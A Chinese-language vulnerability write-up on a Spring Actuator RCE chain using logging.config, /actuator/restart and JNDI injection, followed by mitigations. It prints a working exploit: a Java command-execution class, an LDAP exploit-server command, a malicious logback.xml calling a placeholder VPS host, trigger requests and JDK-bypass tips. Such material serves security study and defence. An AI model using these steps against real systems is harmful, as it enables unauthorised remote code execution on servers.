spring actuator restart logging.config rce
字数 1281 2025-08-10 08:29:04
Spring Actuator Restart Logging.config RCE 漏洞分析与利用
0x00 漏洞概述
本漏洞是针对Spring Actuator组件的远程代码执行(RCE)漏洞,通过利用logging.config配置项和/actuator/restart端点,在特定条件下可实现JNDI注入攻击。
0x01 漏洞影响版本
- Spring Actuator 1.x 和 2.x 版本
- 需要
/actuator/restart端点启用
版本差异
- 1.x版本:需要配置
endpoints.restart.enabled=true - 2.x版本:需要配置
management.endpoint.restart.enabled=true
0x02 漏洞原理
漏洞利用链如下:
- 通过
/actuator/env接口修改logging.config配置项,指向攻击者控制的恶意logback.xml文件 - 该XML文件包含JNDI注入点
- 触发
/actuator/restart端点使配置生效 - 应用重启时加载恶意配置,触发JNDI注入
- JNDI服务返回恶意类实现代码执行
关键点在于Logback组件会解析logging.config指定的配置文件,并执行其中的JNDI查找操作。
0x03 利用条件
/actuator/env端点可访问/actuator/restart端点已启用- 目标系统使用Logback作为日志组件
- 目标系统允许出网连接(或攻击者在同一内网)
0x04 漏洞利用步骤
一、准备恶意Java类
需要创建一个实现javax.naming.spi.ObjectFactory接口的类,示例:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.naming.Context;
import javax.naming.Name;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;
public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory {
private static String cmd = "open -a Calculator";
public CommandRaw() {
String[] var1;
if (File.separator.equals("/")) {
var1 = new String[]{"/bin/bash", "-c", cmd};
} else {
var1 = new String[]{"cmd", "/C", cmd};
}
try {
Runtime.getRuntime().exec(var1);
} catch (IOException var3) {
var3.printStackTrace();
}
}
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
return new Object();
}
}
编译后放置在Web服务器根目录下。
二、启动LDAP服务
使用工具如marshalsec或修改后的JNDIExploit启动LDAP服务:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
三、托管恶意XML文件
在Web服务器根目录下创建logback.xml文件:
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName"/>
</configuration>
启动HTTP服务:
python3 -m http.server 80
四、触发漏洞
- 修改
logging.config配置:
POST /actuator/env HTTP/1.1
Content-Type: application/json
{
"name": "logging.config",
"value": "http://your-vps-ip/logback.xml"
}
- 触发重启:
POST /actuator/restart HTTP/1.1
Content-Type: application/json
Content-Length: 0
0x05 绕过限制技巧
- 高版本JDK绕过:使用
javax.el.ELProcessor作为Reference Factory绕过JDK限制 - 防止应用崩溃:确保返回的类实现
javax.naming.spi.ObjectFactory接口,并在getObjectInstance方法中返回有效对象
0x06 防御措施
- 禁用不必要的Actuator端点,特别是
/actuator/env和/actuator/restart - 限制Actuator端点的访问权限
- 升级JDK版本并设置
com.sun.jndi.ldap.object.trustURLCodebase为false - 使用Spring Security对Actuator端点进行认证和授权